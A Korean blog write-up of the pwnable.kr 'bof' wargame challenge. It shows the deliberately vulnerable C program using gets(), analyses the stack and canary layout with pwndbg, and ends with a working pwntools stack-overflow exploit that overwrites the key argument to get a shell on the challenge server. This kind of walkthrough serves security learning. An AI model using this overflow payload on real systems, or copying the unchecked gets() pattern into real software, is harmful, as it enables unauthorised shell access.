본문 바로가기
wargame/pwnable.kr

[포너블] pwnable.kr 3 - bof

by 아메리카노와떡볶이 2022. 2. 6.
728x90
pwnable.kr 3 - bof

 

3번 bof문제이다. 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

먼저 코드를 살펴보면

 

1. func의 gets함수에서 bof공격을 할 수 있다.

2. func 의 호출인자로 주어진 key값을 bof공격을 통해 0xcafebabe 로 덮으면 쉘이 따진다

 

 

main에서 func함수를 호출할때 인자로 0xdeadbeef가 주어졌는데,

스택이 쌓일때 인자가 먼저 쌓이고 RET SFP BUFFER 순서이다.

gets를 호출할때 아마 이런 모습일것이라고 대충 예측이 가능하다.

 

먼저 canary가 존재하는지 확인해보자.

canary가 존재한다. 따라서 처음 예상했던 스택의 모습은 틀렸다. 

 

canary를 확인하기 위해 gets를 받기전에 스택을 살펴보면 canary를 찾을 수 있다.

pwndbg> x/20wx $esp
0xffffcf70: 0x5655578c 0xffffd014 0xf7fb6000 0x0000a037
0xffffcf80: 0xffffffff 0x0000002f 0xf7e0fdc8 0x5655573a
0xffffcf90: 0x56556ff4 0xf7fb6000 0x00000001 0x5655549d
0xffffcfa0: 0x00000001 0x00000000 0x56556ff4 0x14b39c00
0xffffcfb0: 0xf7fb6000 0xf7fb6000 0xffffcfd8 0x5655569f
pwndbg> 
0xffffcfc0: 0xdeadbeef 0x56555250 0x565556b9 0x00000000
0xffffcfd0: 0xf7fb6000 0xf7fb6000 0x00000000 0xf7e1b647
0xffffcfe0: 0x00000001 0xffffd074 0xffffd07c 0x00000000
0xffffcff0: 0x00000000 0x00000000 0xf7fb6000 0xf7ffdc04
0xffffd000: 0xf7ffd000 0x00000000 0xf7fb6000 0xf7fb6000

즉 32바이트의 버퍼다음에 4바이트의 canary가 존재하고 8바이트의 dummy와 sfp ret 그리고 deadbeef가 존재하는 것을 확인할 수 있다.

 

func 함수를 disassemble 해보면 실제로 gets 함수를 호출하기전에 버퍼가 ebp-0x2c 를 가리키고 있다.

 

그래서 알아낸 정보들을 바탕으로 스택을 수정하면 아래와 같다.

 

하지만 이 문제에선 canary를 leak할 필요가 없다. canary 변조를 체크하기전에 이미 deadbeef가 덮어씌워지므로

canary를 dummy라고 생각해도 무관하다.

 

따라서 간단하게 익스를 짤수있다.

from pwn import *

p = remote("pwnable.kr",9000)

ans = 0xcafebabe

pay = b''
pay += b'A' *0x2c # dummy + canary +buf
pay += b'XXXX' #sfp
pay += b'YYYY' #ret
pay += p32(ans)
p.send(pay)
p.interactive()

 

 

 

728x90

'wargame > pwnable.kr' 카테고리의 다른 글

[포너블] pwnable.kr 6 - random  (0) 2022.02.07
[포너블] pwnable.kr 5 - passcode  (0) 2022.02.07
[포너블] pwnable.kr 4 - flag  (0) 2022.02.07
[포너블] pwnable.kr 2 - collision  (0) 2022.02.06
[포너블] pwnable.kr 1 - fd  (0) 2022.02.06

댓글